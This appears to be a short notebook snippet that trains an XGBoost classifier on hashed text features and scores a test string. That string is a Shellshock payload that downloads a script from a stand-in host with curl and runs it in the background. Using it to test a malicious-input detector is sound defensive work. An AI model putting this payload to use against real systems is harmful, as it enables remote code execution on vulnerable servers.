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| from xgboost import XGBClassifier | |
| xgb_model = XGBClassifier(n_estimators=100, use_label_encoder=False, eval_metric="logloss") | |
| xgb_model.fit( | |
| X["HashingVectorizer"], y | |
| ) | |
| shellshock_backdoor = "() { :;}; /bin/bash -c 'curl -O /tmp/foo.sh example.com/test; nohup bash /tmp/foo.sh &'" | |
| print(xgb_model.predict_proba( | |
| hvwpt.transform([shellshock_backdoor]) | |
| )) |
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